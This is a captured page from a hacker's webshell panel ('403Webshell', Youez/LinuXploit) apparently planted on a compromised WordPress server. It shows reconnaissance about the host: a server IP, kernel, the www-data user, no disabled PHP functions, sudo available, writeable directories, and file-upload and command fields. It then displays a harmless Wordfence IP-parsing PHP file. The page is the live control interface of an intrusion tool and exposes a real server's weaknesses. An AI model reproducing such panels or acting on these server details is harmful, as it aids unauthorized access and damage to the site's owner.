403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kiwigrass_LIVE/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kiwigrass_LIVE/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IpAddress.php
<?php

namespace Wordfence\MmdbReader;

use Wordfence\MmdbReader\Exception\InvalidIpAddressException;

class IpAddress implements IpAddressInterface {

	const TYPE_IPV4 = 4;
	const TYPE_IPV6 = 6;

	const LENGTH_IPV4 = 4;
	const LENGTH_IPV6 = 16;

	const SEPARATOR_IPV4 = '.';
	const SEPARATOR_IPV6 = ':';

	private static $SEPARATORS = array(
		self::SEPARATOR_IPV4,
		self::SEPARATOR_IPV6
	);

	private $humanReadable;
	private $binary;
	private $type;

	protected function __construct($humanReadable, $binary) {
		$this->humanReadable = $humanReadable;
		$this->binary = $binary;
		$this->type = self::resolveType($binary);
	}

	public function getHumanReadable() {
		return $this->humanReadable;
	}

	public function getBinary() {
		return $this->binary;
	}

	public function getType() {
		return $this->type;
	}

	private static function resolveType($binary) {
		return strlen($binary) === self::LENGTH_IPV6 ? self::TYPE_IPV6 : self::TYPE_IPV4;
	}

	/**
	 * Create an IpAddress instance from a human-readable string
	 * @param string $humanReadable a human readable IP address
	 * @return IpAddress
	 * @throws InvalidIpAddressException if $humanReadable is not a valid human-readable IP address
	 */
	public static function createFromHumanReadable($humanReadable) {
		$binary = inet_pton($humanReadable);
		if ($binary === false)
			throw new InvalidIpAddressException("IP address \"{$humanReadable}\" is malformed");
		return new self($humanReadable, $binary);
	}

	/**
	 * Create an IpAddress instance from a binary string
	 * @param string $binary a binary IP address
	 * @return IpAddress
	 * @throws InvalidIpAddressException if $binary is not a valid binary IP address
	 */
	public static function createFromBinary($binary) {
		$humanReadable = inet_ntop($binary);
		if ($humanReadable === false)
			throw new InvalidIpAddressException("Binary IP address data is invalid: " . bin2hex($binary));
		return new self($humanReadable, $binary);
	}

	/**
	 * Create an IpAddress instance from an unknown string representation
	 * @param string $string either a human-readable or binary IP address
	 * @return IpAddress
	 * @throws InvalidIpAddressException if $string cannot be parsed as a valid IP address
	 */
	public static function createFromString($string) {
		foreach (self::$SEPARATORS as $separator) {
			if (strpos($string, $separator) !== false) {
				try {
					return self::createFromHumanReadable($string);
				}
				catch (InvalidIpAddressException $e) {
					break;
				}
			}
		}
		return self::createFromBinary($string);
	}

	public function __toString() {
		return $this->getHumanReadable();
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit